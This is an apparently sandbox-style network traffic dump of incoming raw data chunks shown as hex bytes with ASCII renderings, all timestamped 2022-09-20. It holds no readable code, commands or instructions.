ed 12 3d b6 3a 9c 4a 71 e5 1e 1b c5 15 95 73 26 4c b4 d9 84 55 35 1a b9 13 f1 90 f4 ea 68 5d 0a 64 93 0b 9a 69 41 11 
75 0b 10 2f fc 54 3e 4a 7d d0 b3 a0 f6 83 4b 51 cb ba 89 74 71 4e 35 8c ca d3 45 e8 1f 80 fa 52 8b 3b 61 e0 6a d1 23 39 
c2 c6 38 b9 3b 6b 2d dd 39 35 a5 97 c2 ed cb 1e 85 d7 0e 17 89 31 95 78 1e 13 82 03 dc 1b a7 90 38 1c e0 de f4 22 17 
8c 7e c8 28 60 77 07 9f b6 73 f3 59 21 63 be 39 03 a2 c8 13 ca 20 e9 f2 a8 e9 da b6 3e 4e 6b 64 9f 47 1d 65 a9 b2 ff 0c 
e4 36 17 22 f1 07 1c 22 be 9a 1c 93 03 dd 20 82 c7 e2 7b 8f 6a 9c f0 d3 90 44 79 50 f4 d7 14 b1 9c 88 71 b1 8c 95 c9 30 
c3 43 0e 29 62 3f 8d 52 ae e2 0c 0e 37 fe a6 5e 7a b3 88 bf b1 
Data Ascii: +H'UW^g~pxQEVh=:Jqs&LU5h]diAu/T>J}KQtqN5ER;aj#98;k-951x8"~(`wsY!c9 >NkdGe6"" {jDyPq0C)b?R7^z

2022-09-20 10:10:08 UTC 3786 IN Data Raw: 33 fe 1f 90 a7 e7 f5 9f 69 ff 71 21 64 8c 59 58 f8 34 74 24 e1 a1 f9 de 55 87 cb 19 d7 06 01 62 a7 c0 92 0d 42 
82 01 d4 6a 8c a8 0a 1e 42 18 86 03 28 7c 04 e6 bc fd 67 68 cf d9 11 d4 0b 49 f0 6d ff 15 d4 b4 38 d7 60 7b 35 da 12 e3 
2a 02 40 9d 36 1b bc 83 60 5a 75 1b d5 1b 8f 2a a3 5a 12 4e bc 08 c5 47 e0 9f 2d 97 29 f6 e5 76 40 93 7e 47 99 3b 7c 3f 
18 2d 98 8e 2d 8a 11 a9 d6 bb e1 d8 45 b9 ee f1 2a b9 5e 36 0c e9 d6 68 68 d1 08 12 a7 28 95 d7 81 c8 a4 0a 4c b6 5f 
20 d9 92 73 5b 82 a8 37 7e 1c 44 dd 8f 56 08 e7 1b 61 dd da 22 05 d4 4f 61 2b 96 09 94 87 8c ad f6 e6 53 f6 06 b3 b4 c5 
9b dc 49 4c 87 4c a3 f6 6f 42 bd 37 f1 df 03 f8 ef d1 9a df de 70 fe 03 0b f6 06 33 fd fa 6c 92 79 4e 02 b3 61 7e f4 4f a6 c8 
c4 e3 25 56 c7 41 24 c4 e3 a8 e0 7b 7f f8 1e 87 33 
Data Ascii: 3iq!dYX4t$UbBjB(|ghIm8`{5*@6`Zu*ZNG-)v@~G;|?--E*^6hh(L_ s[7~DVa"Oa+SILLoB7p3lyNa~O%VA${3

2022-09-20 10:10:08 UTC 3794 IN Data Raw: 11 ff 06 bf 10 00 a2 09 dd 87 c2 c9 fe 01 f4 7d 81 f6 ef 05 0a 68 6f 98 43 fb 3f 99 d8 72 23 b0 af 00 6b 24 b7 61 
ab f6 50 9e f0 cd 5f bb e1 25 6e 0b b8 d5 6a 8e 58 7c bd f7 3d 83 4a ff c5 f5 89 23 f3 a1 d7 16 e4 e3 32 de f7 30 53 2c 5d 
a2 e3 49 5a ed 4b f1 d1 16 fb 71 a2 e3 66 94 45 da a2 ac 3b 80 83 de 01 39 b7 ec 55 ec 1b 77 1a 51 b5 f0 0e e2 02 3c 0c 
5e fe aa 42 73 94 ef 76 3e 86 8b 86 e2 c8 da 4a bc 78 a4 3b f0 f3 37 3b 0d 06 90 76 96 9e dd 38 08 d2 8d 49 33 9b e9 aa 
8a 98 9d d5 87 03 62 ce 8a 6f d5 ec 6a 26 db 61 a3 98 5c 27 75 49 27 c5 f7 4e 18 76 9c 34 d4 0d fe 01 95 e3 57 b0 62 6f 
9e 33 18 ce 92 75 02 93 c7 1c 87 94 e2 fb 5d bb 4e da 0f 33 9b 63 a7 d4 29 9d 43 33 bb 15 3d 2b cd 66 09 77 70 d5 20 
0e 21 1f 39 82 d3 bd 22 89 96 64 e3 11 65 a3 5a c6 
Data Ascii: }hoC?r#k$aP_%njX|=J#20S,]IZKqfE;9UwQ<^Bsv>Jx;7;v8I3boj&a\'uI'Nv4Wbo3u]N3c)C3=+fwp !9"deZ

2022-09-20 10:10:08 UTC 3801 IN Data Raw: 27 d8 72 a2 ec 7a d7 63 6d 48 8e 70 87 c4 aa 6d e4 ec c2 56 3f 0f 18 cd f6 cd 21 0a de c7 80 76 67 3d 28 55 
f3 7a c6 f8 76 1d 51 a3 b7 6c af dc 18 8c 53 f7 07 0e 8e ac de 75 72 d5 76 02 2f 33 43 4f 43 41 7d a0 a0 5d 27 61 8c 77 
1d e9 df 0e 44 a3 5b fe 1b 4d 94 4c fa 46 aa de 75 44 f2 e2 e9 04 ed bb 8e c2 74 0e 33 f3 3c fb 6f 93 aa dd 89 6d ac d4 5d 
bf 62 b9 96 3a d1 7e 17 ed a6 fe 4d f2 ee f2 f4 af 67 9b a6 55 f9 22 ea 00 5e e6 c3 68 24 de f1 e5 79 1e 6f 2a af 81 a6 2c 
a7 f9 4e 77 24 55 7b c2 56 fd 48 2e 3f 7b f0 e8 cf 50 61 34 2e 04 8b c9 7b 80 04 2f 88 f1 81 16 d3 25 9d df 75 02 b8 cc 60 
aa a5 74 20 f2 fc ae 9f 81 f2 9c d8 d5 62 bf 60 90 ee 0b a7 71 b5 ef f3 49 a5 61 d2 7d a1 a0 97 cc c4 55 ca 55 27 c7 e3 62 
58 9c f8 45 d2 4b a1 d5 3f f6 c1 ce 47 8e 9e 
Data Ascii: 'rzcmHpmV?!vg=(UzvQlSurv/3COCA}]'awD[MLFuDt3<om]b:~MgU"^h$yo*,Nw$U{VH.?{Pa4.{/%u`t b`qIa
}UU'bXEK?G

2022-09-20 10:10:08 UTC 3809 IN Data Raw: 3b dc 45 9c 45 66 9b 50 50 23 d1 67 b2 2c cc 9d b9 ca e8 42 5f f5 27 2c 75 65 57 48 db e5 f1 06 fa b5 f8 42 
64 13 37 eb a4 ad 32 5a b6 2d 1a c3 8e 0b 26 02 1e 89 47 b5 85 a2 6f bc f1 79 ee 5a 19 0e 65 7a f1 16 39 44 74 cd 51 03 
f2 7e 48 34 fe a3 47 5e 49 a8 3b 3d 4c fa 0a 58 b0 e5 e0 f2 51 6e e3 7f 5a 42 00 df 39 9d b2 8d b3 34 2e 3e 1d b3 55 6a 
60 fd e6 36 be b4 e2 b8 fd f0 28 ab c7 15 2d 9d d9 d5 b2 eb 47 92 3f 00 23 0e b4 7c 07 f0 8d ac b1 52 83 de 9c 52 e9 1b 
dd b0 3b b6 08 df 9b f9 bb 8a bf 3f e7 ef 4f f8 fb 43 fe 7e 8f bf df e6 ef 37 f9 fb 35 fe 7e 99 bf 5f e4 ef b5 fc 5d c9 df 6b f8 bb
82 bf cb f9 7b 19 7f 2f e1 6f 2b 7f 97 f0 77 21 7f 2f e0 ef 5c fe 9e cb df 59 fc 3d 87 bf 33 f9 3b 9d bf d3 f8 3b 95 bf 93 f8 3b 8
1 bf e3 f9 3b 8e bf 63 f9 3b 9a bf 
Data Ascii: ;EEfPP#g,B_',ueWHBd72Z-&GoyZez9DtQ~H4G^I;=LXQnZB94.>Uj`6(-G?#|RR;?OC~75~_]k{/o+w!/\Y=3;;;;c;

2022-09-20 10:10:08 UTC 3817 IN Data Raw: 03 14 37 6e 80 d0 7b 9a 87 0a ac e4 6c 2f c7 7d 24 0f e4 85 c2 09 e3 c9 8a 25 10 4f ca 20 cb 05 fa 0f a5 03 
46 14 94 e5 4d 2e 4b 81 ba e1 07 41 88 28 2a 28 8c 14 8a 72 d0 e0 93 2f e0 38 2e 15 12 de 1d 5f 14 fe ea ff bd 4f c8 fb fe 
61 71 1c 36 9b bf bf 7a 6f 7c d1 d1 f7 f4 71 b4 75 5a f7 7a cf f9 e0 f7 dc 0f c7 17 55 be f3 ff dc 33 fb 5d f6 3e fc a6 fa 5b 7e 
fe 4f f2 79 f8 8d 8b bf 15 bd af 86 e7 bc da 7b f9 59 ff 64 f1 bb 97 af cd 43 7e 5e fc 90 7d ef 09 a6 fd 86 e1 e8 7f c3 f8 fc 1f 
3c 81 1f 5d fc ed cc 87 3d c7 35 41 dc fd 3d c0 86 6a f2 c0 f2 d7 7d 3b be 68 2e 3c 1f c2 f3 1a 3c 2f f2 df d1 db c7 17 85 c2
63 82 27 15 9e b9 fc 77 44 91 ad 10 90 7a 46 ce 0c 50 0f f3 01 c7 85 22 c1 26 14 c2 7f 6c bb c8 6b 67 21 9f 53 ec d9 c0 
c3 cf fe ce de d7 9c 53 61 db 
Data Ascii: 7n{l/}$%O FM.KA(*(r/8._Oaq6zo|quZzU3]>[~Oy{YdC~^}<]=5A=j};h.<</c'wDzFP"&lkg!SSa

2022-09-20 10:10:08 UTC 3825 IN Data Raw: 72 8d dc d6 1f c4 83 43 fe e1 f1 e8 07 d2 0b 3c 0b e0 89 bd c0 d1 8f 25 b7 17 38 fa b1 38 7b 81 a3 1f cb 3f 7a 
81 a3 1f 4b 7d 2f 70 f4 63 f1 1c f2 ef b7 80 7e 2c 3f f5 02 8f 07 78 33 c0 fd 9d c7 90 05 f0 eb 9b 3b fd 9e 4d b6 0c e0 0e 80 
e7 eb e0 0f a9 7a 0b c0 b7 35 fb 97 7d 3e 07 c0 27 cd fe ed 0d 78 be c6 fa 66 ff 7e 1b 78 be 46 7b b3 7f bd 00 cf d7 10 0e 
fb f7 29 88 07 f8 e0 c3 fe 69 6f 16 9e 77 01 f0 15 ba f2 ff a4 b6 1f e0 56 80 bf a8 83 af 55 db 0f f0 63 87 7b f1 63 06 f8 73 
47 fc db 92 f7 03 bc df 8f fe ed 29 1d 00 2f 05 b8 df fd af 21 82 30 fa 27 ff fd 1f 0f 70 f1 a7 9e 65 eb 4b e9 15 c7 a0 dc 78 
6d ba 25 7a 7b 40 d0 4f fe d7 64 51 d6 7b 07 e0 df eb e0 3b d5 7e 85 67 ee cf fe c7 0d e9 e3 a3 3f fb a7 83 9f c3 f3 ee cf 
fe eb b7 1f 9e 7a 80 bb 75 e9 
Data Ascii: rC<%88{?zK}/pc~,?x3;Mz5}>'xf~xF{)iowVUc{csG)/!0'peKxm%z{@OdQ{;~g?zu

2022-09-20 10:10:08 UTC 3833 IN Data Raw: 36 b5 c3 c6 8e 1e df a6 72 6c 45 35 66 cc 9e 21 a5 e5 1e 12 9b d2 46 50 d5 11 5a 29 78 b3 99 e5 8a 9f 0b f0 
91 cb ac 51 5d 83 59 1a 8f f8 79 67 80 5c 2d 20 6f 46 43 20 51 70 0b 19 aa 96 57 92 e4 13 8d 5a f4 15 43 18 a3 97 98 2e 
81 e5 34 f0 b1 c0 a8 09 c0 b5 f8 8c 22 8c 45 52 ac de 28 6b e3 ce 4d e6 b8 70 1f be a0 e8 8d 62 1a e9 6d 90 0d 72 6e b8 
66 69 a3 17 de 35 02 cc b2 b8 64 92 5a 26 8a a9 41 40 73 b0 69 52 39 e2 d5 e7 56 93 6a 06 a8 13 47 5a b8 0b 31 0b 14 
6f 9b 92 5a ac 19 74 3a e5 3a 6f 30 58 87 95 94 2e 7b fe 28 4a 92 0a 1a e7 e2 3a f9 f4 08 d2 35 87 3d f5 5e 39 a6 bb 8b 
be 05 d5 46 47 8d 48 18 00 f4 8d 6f 88 a4 99 b1 95 4a 35 e4 a4 46 7f 77 d3 55 08 cd d0 85 15 f7 97 28 a9 c7 24 0f 4b b1 
40 43 3c 1c 97 cd 75 cf b5 41 51 6a 88 35 a6 64 da c4 2f 4d 
Data Ascii: 6rlE5f!FPZ)xQ]Yyg\- oFC QpWZC.4"ER(kMpbmrnfi5dZ&A@siR9VjGZ1oZt::o0X.{(J:5=^9FGHoJ5FwU($K
@C<uAQj5d/M

2022-09-20 10:10:08 UTC 3841 IN Data Raw: cb 32 01 74 b8 2f 2d 7f b6 9e 66 fb da 36 cd be d0 be ca 7e 85 fd 6e d0 f8 6d 8e d9 8e db c0 46 fc c4 61 76 56 
41 bb be 08 63 e9 3f 9c 3c 8c 05 7f 80 be 96 e6 9e e6 0e b8 8f 03 a9 7e b6 fb 0a 18 3d 6f 76 df e9 de ed fe 8b fb 79 f7 ab 
30 8a 0a 9e 33 3c eb 3c 3b 41 a2 df 03 32 fd 71 b0 b2 71 f6 61 15 58 6a b7 78 97 fa b6 fb ae 04 a9 72 0c d8 da 97 83 a5 
f7 b2 bf 23 b0 95 ea 75 2a 54 6f c9 64 90 29 15 62 ad 38 5f 6c 17 57 8a 67 41 be b1 e5 5f 10 df 04 6b e5 a0 f8 13 70 40 
96 79 3c e8 a3 6b cd 3b cc d7 9a 77 99 1f 31 cf 94 2e 93 ae 96 ee 94 ee 07 bd f4 7d e9 63 e9 2b e9 27 b0 b5 73 2d d3 2d 
0e 4b 97 a5 0f 24 f8 b9 96 4b 61 0c bd dd f2 84 e5 43 cb 61 18 41 0d a0 25 df 60 7d 08 2c ec 97 ac 6f 5b 3f b0 7e 6a 3d 
dd b6 d6 76 a3 ed 19 db 87 b6 7f 50 db 27 d7 3e ce 
Data Ascii: 2t/-f6~nmFavVAc?<~=ovy03<<;A2qqaXjxr#u*Tod)b8_lWgA_kp@y<k;w1.}c+'s--K$KaCaA%`},o[?~j=vP'>

2022-09-20 10:10:08 UTC 3848 IN Data Raw: 29 e3 d0 a9 29 63 dc d4 94 71 f8 d4 94 31 36 35 65 8c 9b 9a 32 c6 4d 4d 19 e3 a7 a6 94 5c b0 a9 29 e3 90 a9 
29 63 74 6a ca 18 37 35 65 8c 9f 9a 8a 21 e2 a6 a6 94 10 71 53 53 0a a9 e8 d4 94 51 9e 9a 32 c6 a6 a6 8c a3 4e 4d a5 
0f 9b 9a 4a 8f 9f 9a 4a 8f 9b 9a 4a 8f 9b 9a 4a 1f 3a 35 95 3e 64 6a 2a ce 17 9d 9a 4a 1f 36 35 05 ea 7f 73 6b 03 56 43 
b8 a9 25 d8 5a d5 08 e4 ea 1a 2b a3 6b 02 62 32 0e 74 bf 1a 2a d8 50 85 21 cd 72 c8 ee a5 6d 8b e5 57 c9 01 2a 51 68 
86 8e f3 24 2c c1 43 3b 6d 1d 1d d4 72 f4 26 50 f9 94 39 c8 b6 2e 72 3e ea e7 89 aa 7f 59 84 3e 64 cc 06 f9 30 1d e4 c3 
dd f8 90 f0 72 33 e1 fc 6a 3f 1e 0f d2 73 d5 09 8f 21 b9 81 53 96 82 0d 38 8c 56 0d a3 95 d9 45 cf 30 72 b5 d4 ab fb 55 d2 
12 e1 8e 51 6f 62 a4 eb 12 8a 41 3d cf 84 62 74 b7 43 92 f5 
Data Ascii: ))cq165e2MM\))ctj75e!qSSQ2NMJJJJ:5>dj*J65skVC%Z+kb2t*P!rmW*Qh$,C;mr&P9.r>Y>d0r3j?s!S8VE0
rUQobA=btC

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3856 IN Data Raw: ad 47 d5 eb 8b 2e 91 22 38 7c 54 17 93 5f 9b d7 fa af 5d 6b da db d5 65 b7 62 7f 4c 9e 64 c6 4a 97 cb 4a d4 
cf e9 f1 9e 1c 25 fb dc 0e dc 18 20 74 81 f9 a7 cb d4 b1 ee 21 f4 b2 c7 44 39 dd b8 25 cc 4c 14 56 2c e9 8c e0 1d c3 ba 
e9 2c 8c 5e 33 e1 12 b6 a7 40 0b 11 f0 ba 0c f8 cb 6b b6 f0 ff d4 bd c6 81 53 af 86 20 d0 a3 fb 81 0d f0 53 a7 73 13 88 95 
ca fc f6 ec df 46 e3 33 5d 70 79 57 5f 3f d4 60 d7 d1 49 7e a8 83 63 71 d3 f4 f8 51 2f ff 44 89 34 da e5 9f 78 5b 71 f4 f2 4f 
f4 c4 5f fe f9 57 72 c4 db 3e 8f e2 6e 4f 0d 4f 13 fb b7 6e f8 d4 86 bb 7b 17 2d eb 22 45 ea b1 89 f4 e2 4d 3a 41 aa 9e 90 
84 93 4b e0 6b 47 bb 75 62 02 3d 2d a6 a3 fb 82 89 7a 12 45 ea 74 61 bc 20 8d a8 4b 28 56 0f de 6e dc 21 31 99 7a 0d 
3a fa 72 21 92 56 4f a1 10 13 44 5f d6 35 d0 bd 
Data Ascii: G."8|T_]kebLdJJ% t!D9%LV,,^3@kS SsF3]pyW_?`I~cqQ/D4x[qO_Wr>nOOn{-"EM:AKkGub=-zEta K(Vn!1
z:r!VOD_5

2022-09-20 10:10:08 UTC 3864 IN Data Raw: 65 fe 1b 99 8b 20 3e 40 0a 22 f6 e0 53 e2 03 60 cf 04 5f 16 bf 89 21 9f e1 f7 1e ce fe 80 14 72 0b 99 b0 17 40 
20 85 fe 1d 99 88 f7 e3 ed 61 77 21 2b 88 de a2 e5 50 14 ce a1 28 5c 84 a2 ad 08 45 e1 22 14 25 86 8b 50 f4 0c 75 7c 23 
6e b4 a3 58 d3 7b d6 a7 2e d3 bd 4d f4 86 1f b2 2d c9 c2 8d 29 c6 f6 8c a5 1e 69 3c 1a 54 27 3a 1d 20 43 6d 6f df eb 22 
d4 12 b4 45 86 da 3e de 3d e9 7f b8 64 9c ed 5b c7 9f 5e 17 47 90 ed 27 bc c1 82 1e e9 5f b7 01 bd 9f 2b c7 52 92 ac f4 
8c 01 7d 4a 56 33 1a a9 7b 9a 36 a2 7f 05 e3 00 79 4f 7c 24 a4 30 e2 5f 1d 20 6b 3e 0c 55 f8 7b 3f 0c e5 40 27 bd 0d 83 
6d 1a f3 6f f3 61 a8 9a ef 40 19 5d bf 03 55 28 be 03 d5 4a 6f 28 be 03 35 c2 f5 3b 50 63 7f f3 77 a0 a8 ae 8f 7c 1f 3e 8a 
33 9a de d6 ed a3 50 ed fe 97 bd f7 00 8f b2 4a df 
Data Ascii: e >@"S`_!r@ aw!+P(\E"%Pu|#nX{.M-)i<T': Cmo"E>=d[^G'_+R}JV3{6yO|$0_ k>U{?@'moa@]U(Jo(5;Pcw|>3PJ

2022-09-20 10:10:08 UTC 3872 IN Data Raw: 12 25 5b 64 50 2a 2e f5 30 92 0c 08 74 a5 09 da 86 79 b1 34 99 d6 72 35 05 4e 36 44 9f 50 68 71 73 25 23 d6 
72 f8 4e 29 19 93 8d 0c ac 58 45 3a c0 1c 8b be e3 ed 18 9d ed 7a 21 df d7 69 e7 1d 5c 10 35 46 42 df 00 2c 34 c6 6c c3 
d7 f7 07 14 8c c6 18 6c 24 f6 dd 09 cb 4e 73 27 a0 6f 3b bc d0 18 b5 20 06 c1 42 63 4c 47 04 cd b0 d0 18 63 11 f5 a1 b0 
d0 18 53 40 5c 08 0b 8d 31 09 c4 4c 58 68 8c 09 20 8a a9 4a 91 c4 64 10 6f 21 8d b7 cc ed 87 be 67 50 65 1a 5d a6 82 
a0 32 0c 1a 63 84 e1 ef b7 2c bc ac b1 75 55 ec 8e 2f 01 b8 6f b0 71 67 22 bd e2 37 b2 33 b1 df 7b b9 6b 53 ab d5 25 9e 
3b cf 11 fb de 88 d8 ef 1d db 5f b6 07 61 eb de 83 28 fd 45 bb b4 3f a3 72 e5 4a bb b9 9e fd 9e bb 19 dd eb 59 52 c2 a1 
d7 b3 9f 70 3d eb 88 5a cf 12 70 3b ba d7 b3 24 7d 0e 6b 3d 
Data Ascii: %[dP*.0ty4r5N6DPhqs%#rN)XE:z!i\5FB,4ll$Ns'o; BcLGcS@\1LXh Jdo!gPe]2c,uU/oqg"73{kS%;_a(E?
rJYRp=Zp;$}k=

2022-09-20 10:10:08 UTC 3880 IN Data Raw: 22 e6 0d 84 3e e9 13 90 dd 5d 87 4b f1 16 4c 2a 4f 9b fb e4 13 da 88 32 2e 39 82 10 90 20 11 5f 48 8a 2d 47 
12 19 04 a8 9c d0 d8 a3 a4 08 1c c5 f8 79 52 59 a1 d8 3b a1 5e 8a be 30 a9 e6 65 82 0a 2f d1 ad 40 1e 23 ca 83 4d 75 
ae 59 91 4c 7c 53 83 14 eb 60 52 d5 9e 5e 45 36 b1 33 1a a5 e8 84 49 5d 02 a4 80 48 5e 93 14 c9 30 a9 47 03 29 26 d2 
05 ea 18 22 4c a1 94 c8 c5 61 29 0e 09 13 41 19 2a fa 10 aa 58 24 45 f9 22 42 7a f3 af a2 3f d1 05 40 c6 10 e5 25 e5 8a 
c1 84 e2 16 a3 30 30 a9 ab d5 16 5e c5 70 82 f5 00 66 12 9c 21 64 5f 37 ab fc 23 50 5b 88 f4 ec 27 f6 f5 d2 61 66 b3 14 
83 60 52 57 02 09 3c 0d 3e 97 2d 91 e2 5f 44 20 63 f6 73 51 85 c4 b5 47 4b d1 74 34 11 b0 af 1f af ab 88 da 65 52 4c 58 
c6 c2 0b 39 40 31 6f 1d a8 13 96 e9 ea 89 3a 63 1e a8 6a 49 1d 
Data Ascii: ">]KL*O2.9 _H-GyRY;^0e/@#MuYL|S`R^E63I]H^0G)&"La)A*X$E"Bz?@%00^pf!d_7#P['af`RW<>-_D csQG
Kt4eRLX9@1o:cjI

2022-09-20 10:10:08 UTC 3887 IN Data Raw: 42 31 6b 21 89 dc b0 c2 ec 79 cb ec b6 60 41 69 d1 0a b2 12 e7 6b 81 35 8e c7 0e a3 28 4b 01 43 26 f5 07 70 
f6 a9 5f 68 0a 3d 84 2a cb 44 40 b7 0c db 1e 29 64 e4 74 a0 9b 88 47 c1 66 55 29 f5 51 05 04 5b d4 18 e9 37 22 62 ab 90 
4d db 9a 4f 93 1b b0 6b 4c d5 55 2e 67 a5 43 69 17 4e 40 0a ee 48 6e 4e e2 9b 8b ab 9e 68 53 7d a2 ad d1 64 03 c4 5c 
5f c9 e0 b5 8b f5 c6 a4 da d7 e9 8d 24 be 9a 09 b2 19 4b 6a ec b8 4d 16 61 2c 53 cb f7 60 93 9a 7c d5 53 07 d5 53 c7 ea 
d7 29 35 45 29 1c 17 13 1e 8b 0b cf 24 9a 2e bd 25 f5 11 a5 f4 7c 97 0e 42 23 23 45 cc 0a 4c 62 0f a2 9c 1a 35 79 35 6a 
0a ea 42 4e 51 5d c8 29 61 de 29 8b d4 da ce 53 6b 87 11 68 9d 12 2f 74 21 8b 20 cc 37 70 a6 d9 28 a4 98 a2 14 ad 4c 
d5 c3 29 6a 93 10 81 bd c1 f2 da e6 20 01 f7 c9 7c b2 25 48 56 
Data Ascii: B1k!y`Aik5(KC&p_h=*D@)dtGfU)Q[7"bMOkLU.gCiN@HnNhS}d\_$KjMa,S`|SS)5E)$.%|B##ELb5y5jBNQ])a
)Skh/t! 7p(L)j |%HV

2022-09-20 10:10:08 UTC 3895 IN Data Raw: 70 54 b0 e7 c1 1e f1 3c 38 56 0c f3 08 10 ca 03 08 31 36 07 37 a6 7b 76 e4 cd e1 b3 61 4c e1 17 77 a4 34 c1 
5d e1 26 9a ad 8f 98 89 5c 24 13 b9 2c 6f 22 8f 53 4f 13 49 57 3a 3b 38 97 25 00 fd 88 2b 56 51 05 bd 9a e8 f5 82 78 17 
33 3e 03 68 c5 53 35 c5 a7 61 6d 97 ba 33 b8 f2 51 8c 40 f0 a7 87 ad 7d 69 36 a2 37 80 86 58 17 c7 5c a0 c8 24 c1 31 27 
0b 8e 39 56 94 33 38 75 70 2c 41 da 20 9c 49 98 4e 51 18 17 2d e4 69 2e 3b 70 1d d8 b8 b3 06 32 39 15 a5 49 2e e1 b0 
5e 64 9d 34 a6 37 b7 a7 f8 59 49 8a ad 87 86 bb 17 62 9a ce 71 3f 23 f8 37 c3 e7 39 cc 38 0f 67 4a 50 1a 38 80 1b 28 a4 
61 a1 bb 57 4a 1f d0 65 ed ba 38 65 86 29 bb ed fc 68 c7 7b dc 76 bc 91 39 fb 0e 18 18 f5 4b 5a 29 43 5d d5 b5 9d 96 bb 
fa 95 02 18 41 df f7 d1 ed 59 ca 32 d6 97 a4 04 4b f8 4e 1b 
Data Ascii: pT<8V167{vaLw4]&\$,o"SOIW:;8%+VQx3>hS5am3Q@}i67X\$1'9V38up,A INQ-i.;p29I.^d47YIbq?#798gJ
P8(aWJe8e)h{v9KZ)C]AY2KN

2022-09-20 10:10:08 UTC 3903 IN Data Raw: 86 5e fd 76 04 37 9b 3d 02 d3 30 77 83 9b d1 e5 ea 8b 3c a1 69 d6 03 bb 10 e0 d3 22 8b f3 b2 32 f6 ec d1 6b 
58 f8 92 32 38 eb 51 11 66 35 bb 38 bc 00 98 27 fa 75 2c d0 c4 3f b6 10 49 a4 5e 09 65 74 d1 b5 14 d9 82 e3 eb b4 ab 0c 
32 87 82 d7 f0 44 4e 51 73 e0 10 69 2a 33 dd 25 cd ac ef 1c bd 90 8d d5 0b b9 d8 6a 2e a6 dc cd ec dc 6c b4 6a 85 d3 fa 
22 d8 66 c2 25 d5 c0 b3 ce 08 8f 2a 21 4a a5 19 d8 a3 b7 0d ba f1 5b 61 f4 e3 b2 b0 0d a4 b7 6b 6e 09 2a 31 3c e7 a4 8b 
e8 a3 d7 b6 c3 25 d3 1b 7c 5a fc a4 98 f9 d4 7d fe a7 26 83 47 1c 57 ab 27 61 54 c7 61 7c e1 ce 0a cb 95 ba 9b ba 9f ea 
3c d7 db 0f 28 fd c8 95 e6 63 7f 2c 71 d8 82 73 0a 8e 38 17 a9 d2 94 f6 a6 e1 9a 1e 7a a5 06 23 7c 57 3b 9a f6 93 90 94 
6e 4a b9 03 f5 c0 b3 70 56 0c 0e 5b 4a 20 40 48 27 f8 95 
Data Ascii: ^v7=0w<i"2kX28Qf58'u,?I^et2DNQsi*3%j.lj"f%*!J[akn*1<%|Z}&GW'aTa|<(c,qs8z#|W;nJpV[J @H'

2022-09-20 10:10:08 UTC 3911 IN Data Raw: 4c d4 7a 16 24 8a 6c da ba 0b 0b 2d 16 e7 c6 5b 4b 7b 1b ca 64 b5 5e e0 5b e3 79 66 7c 82 21 64 b0 ae 58 
ba 09 1c 15 be 01 4b 79 6b bc 17 31 c6 af 11 6b fc aa 44 7e a7 ad 99 36 ee 40 16 59 c1 ca dc 7a 14 2c 5c ec 97 4d c6 f4 
3e 19 31 31 c4 a0 75 57 34 db 9f 4b 91 c4 58 94 07 c2 ac 5a 47 c5 39 80 88 51 5b ad e0 c2 e2 11 18 59 d6 02 1c 62 09 
10 b7 d9 e9 be c6 e0 8e fd 22 2b 1f 62 8e 22 0d 3b 0f c6 f9 70 5d 54 2a f4 d0 10 18 f8 a2 21 54 20 0a ba e8 87 21 b9 24 
71 80 77 1c ad a5 8f b7 c7 69 bf fb 4d 28 c3 fa 73 55 dc c3 26 3f 4c bd 5d ef 64 cc 00 78 67 98 e6 79 03 cd d0 86 47 9b ee 
a5 f3 c6 29 06 53 39 c5 66 dd d5 50 63 15 4e d2 2e 2e c2 5e 49 48 20 ac 3e b3 03 ab 3f a2 7e 16 16 19 49 c1 05 7c eb 
a9 ed b6 8b cb 6c 56 31 47 1c 06 a5 d3 b5 23 65 d8 ea 83 7c 80 
Data Ascii: Lz$l-[K{d^[yf|!dXKyk1kD~6@Yz,\M>11uW4KXZG9Q[Yb"+b";p]T*!T !$qwiM(sU&?L]dxgyG)S9fPcN..^IH >?
~I|lV1G#e|

2022-09-20 10:10:08 UTC 3919 IN Data Raw: ce 7b f8 3d 4b f0 f9 37 c3 10 20 3c 33 b7 ea 70 a8 88 32 46 85 f3 a6 78 18 65 9c 11 ce 43 8d 21 bf 2c be 87 f0 
f4 fc f7 42 a1 bf 9a ef 51 f6 5b 8e bc 11 28 e1 84 6c 26 4d 54 4d 60 fd af a2 ec 0f f7 c1 63 a1 29 94 75 a2 d4 76 12 05 f5 
4e 5e 6d 36 33 a7 36 87 6b bb ce c9 1b 58 64 ae 73 f2 a0 22 5b 32 67 60 6d 59 74 14 e1 ee 3c 0c c1 58 fa 99 50 1f 40 78 
82 fe 1d e6 ec c6 b7 42 ac 4c 0c b6 01 43 68 5f 44 cd cf f8 a5 03 40 78 77 c8 ee 01 01 1e 62 bf c9 54 a1 f5 c1 51 c3 de 1a 
0f f5 e5 f0 4a e8 5f 8d c9 1f 72 94 32 a2 19 aa 91 2f a1 d0 04 89 4e 30 e5 8b a8 bc 4b ff 8f 4a b8 23 03 43 1b 0a d9 b2 dc 
16 5b ba 24 50 7a 54 4d 1e c7 30 91 fe ad 94 26 44 10 5e 21 23 84 60 4d a8 2f 47 09 1c 27 ec c5 fc f3 4c 91 7e 1b 43 58 
86 fe 5d 9e 3f 56 d9 0a 30 c6 e7 99 6f e7 2d 
Data Ascii: {=K7 <3p2FxeC!,BQ[(l&MTM`c)uvN^m636kXds"[2g`mYt<XP@xBLCh_D@xwbTQJ_r2/N0KJ#C[$P
zTM0&D^!#`M/G'L~CX]?V0o-

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3926 IN Data Raw: 0d ac 80 cd 42 ef b2 8f 03 c6 a5 01 50 e2 2e e2 d1 1f ad 35 1d 22 47 ea 02 5d 44 e2 cf 75 79 5d c4 2b 7f af eb 
b7 8b a8 e0 4d fb e8 4d 93 a0 2e be e9 bf d2 a7 8b ab 0c 8b 4a 83 8f e9 f8 9b 4c 49 2d 01 66 fd d8 7e a6 04 3b c0 75 b6 
bd 88 7c 24 d8 5e 24 6e cc 6f 2f 5e d9 db 7f 7b 51 c1 4d f6 d1 4d 26 41 ed bd c9 7f 25 d0 5e e0 30 dc 73 30 d5 9c 74 fa 
78 e0 7c 51 7f 65 04 30 6d a9 be 84 ab 2d 47 d4 aa 2d 94 47 b8 66 4b 34 66 4b 04 a8 ce fe 5a 10 0a f5 ff c5 6c 7e 9e ab 
62 64 7f b6 42 08 57 84 f7 54 e4 60 ee 30 b7 c0 e8 2b 67 76 f7 cd ce dd 36 72 8a 07 b7 8d 53 22 d6 73 64 ce b6 31 93 b2 
